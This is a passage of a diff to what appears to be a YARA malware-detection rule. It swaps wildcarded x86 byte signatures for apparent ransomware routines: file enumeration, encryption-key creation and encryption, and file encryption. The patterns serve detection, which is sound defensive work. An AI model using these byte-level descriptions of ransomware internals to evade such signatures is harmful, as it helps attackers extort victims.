-            0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ??
-            83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68
-            ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 8B D4 33 C0 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 66 39 85 ?? ?? ??
-            ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B
-            CE D1 F9 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ??
-            ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 CB ?? C7 45 ??
-            ?? ?? ?? ?? 66 89 45 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D
-            51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 8D 85 ?? ?? ?? ?? 50 8D 4D ??
-            E8 ?? ?? ?? ?? 8D 45 ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
-            0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-        }
-		$find_files_p5 = {
-            83 CB ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 85 ??
-            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 85 C0 74 ??
-            C6 45 ?? ?? F6 C3 ?? 74 ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ??
-            E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? F6 C3 ??
-            74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40
-            8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ??
-            ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ??
-            ?? ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0
-        }
-		$find_files_p6 = {
-            C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 E3 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72
-            ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ??
-            ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ??
-            89 55 ?? 89 01 E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ??
-            8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ?? ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9
-            ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ?? 89 55 ?? 89 55 ?? 89 01 8B 45 ?? 83 F8 ??
-            72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 75
-            ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 7D ??
-            8B CF E8 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 7D ?? E9 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F
-            84 ?? ?? ?? ?? 0F 1F 00 8B 45 ?? 8D 4D ?? 8B 00 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4
+		$create_encryption_key = {
+            55 8B EC 51 A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 56 50 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ??
+            ?? 8B F0 A1 ?? ?? ?? ?? 59 89 75 ?? 73 ?? B8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 33 F6 59 59 39 35 ?? ?? ?? ?? 75 ?? 53 57 8B 3D ?? ?? ?? ?? 56 6A ?? 56 BE
+            ?? ?? ?? ?? 56 BB ?? ?? ?? ?? 53 FF D7 85 C0 75 ?? 6A ?? 6A ?? 50 56 53 FF D7 85 C0
+            75 ?? 50 FF 15 ?? ?? ?? ?? 5F 33 F6 5B A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 68 ?? ?? ??
+            ?? 56 56 50 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 EB ?? 5E C9
+            C3
         }
-		$find_files_p7 = {
-            8D 45 ?? 3B C6 74 ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8B C8 E8 ?? ?? ?? ?? 33
-            C0 C7 45 ?? ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ??
-            8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 75
-            ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 00 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ??
-            6A ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF
-            75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 85 ?? ?? ?? ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 8B CC 50 0F 84 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8D 4D ?? FF 73 ?? 53 E8 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            2B CE 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 43 ?? 46 8B 48 ?? 89 75 ?? 89 01 8B 45 ?? 83 F8
-            ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74
-            ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B CF 50 E8 ?? ?? ?? ?? 8B
-            45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 F6 0F 85 ??
-            ?? ?? ?? FF 75 ?? FF 15
+		$encrypt_encryption_key = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 83 78 ?? ?? 59 72 ?? 8B 00 53 56 57 33 DB 53 53 6A ?? 53 53 68 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 39 5D ?? 0F 84
+            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B
+            C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 50 57 E8 ?? ??
+            ?? ?? 59 59 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 89 45 ?? 8D 45 ?? 50 56 6A
+            ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? FF 15 ?? ?? ??
+            ?? 8D 45 ?? 50 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 50 56 FF 75 ?? FF 15 ??
+            ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
 		$encrypt_files_p1 = {
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            45 ?? 83 7D ?? ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 45 ?? ??
-            ?? ?? ?? 6A ?? 50 66 89 45 ?? 8D 4D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F
-            43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 45 ?? FF 15 ?? ?? ??
-            ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8B 4D ?? 01 0D ?? ?? ?? ?? 8B 55 ?? 11 15 ?? ?? ?? ?? 83 FA ?? 0F 8C ?? ??
-            ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 66 0F 1F 84 00
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85
-            FF 74 ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A
+            55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 83 7D ?? ?? 8B 45 ?? 53
+            56 57 73 ?? 8D 45 ?? 33 DB 53 53 6A ?? 53 53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89
+            44 24 ?? 3B C3 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ??
+            6B C0 ?? 83 C0 ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? 89 44 24 ??
+            E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? BE
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 56 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ??
+            89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ??
+            ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 7E ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ??
+            33 FF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 53 53 FF 74 24 ?? FF 74 24 ??
+            FF 74 24 ?? FF D7 53 FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ??
+            FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
+            F8 ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 53 03 C6 53 13 CB 51 50 FF 74 24 ??
+            FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B
         }
 		$encrypt_files_p2 = {
-            50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ??
-            8B 55 ?? 8B 4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85
-            ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ??
-            ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ??
-            ?? ?? 56 E9 ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ??
-            ?? ?? 72 ?? 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F
-            59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2
-            0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B
-            55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55
-            ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
+            4C 24 ?? 53 05 ?? ?? ?? ?? 53 13 CB 51 50 FF 74 24 ?? FF D7 53 E8 ?? ?? ?? ?? 0B C2
+            59 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ??
+            ?? ?? 8B 3D ?? ?? ?? ?? 53 8D 44 24 ?? 50 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 74
+            24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9
+            ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ??
+            3B CB 0F 86 ?? ?? ?? ?? BE ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 2B 4C 24 ?? 1B 44 24 ?? 89
+            44 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 53 FF 15 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 53 FF 74 24 ?? 89 44 24 ?? FF 74 24 ?? FF 74 24 ??
+            FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B
+            54 24 ?? 51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF
+            74 24 ?? FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? FF 74 24 ?? 53 50 FF 15 ?? ?? ?? ?? 81 44 24 ?? ?? ?? ?? ?? 8B 44 24 ??
+            11 5C 24 ?? 39 44 24 ?? 0F 8C ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B 4C 24 ?? 39 4C 24 ??
+            0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F
         }
 		$encrypt_files_p3 = {
-            E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ??
-            ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B
-            4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ??
-            57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B
-            55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9
-            ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 72 ??
-            81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90 68 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B 4D
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
+            86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ??
+            ?? ?? 59 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 FF 74 24 ?? FF D7 53
+            8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ??
+            51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 50 FF 74 24 ?? FF D7 53 8D
+            44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ??
+            59 E9 ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? FF 15 ??
+            ?? ?? ?? 53 53 33 C0 50 53 FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24
+            ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24
+            ?? 8B 54 24 ?? 51 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 53
+            FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ?? ??
+            ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ??
+            E8 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ??
+            E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 45 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 83 7D ?? ?? 8B
+            4D ?? 73 ?? 8D 4D ?? 50 51 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ??
+            6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5
+            5D C3
         }
-		$encrypt_files_p4 = {
-            50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F
-            59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? E8 ??
-            ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 57 50 E8 ??
-            ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45
-            ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53
-            FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 0F 1F 84 00 ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F0 83 C4
-            ?? 85 F6 74 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66
-            0F 1F 84 00 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8
-            ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 56 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85 ??
-            ?? ?? ?? 57 56 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ??
-            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 50 6A ?? 53 FF 15 ?? ??
-            ?? ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 FF B6 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ??
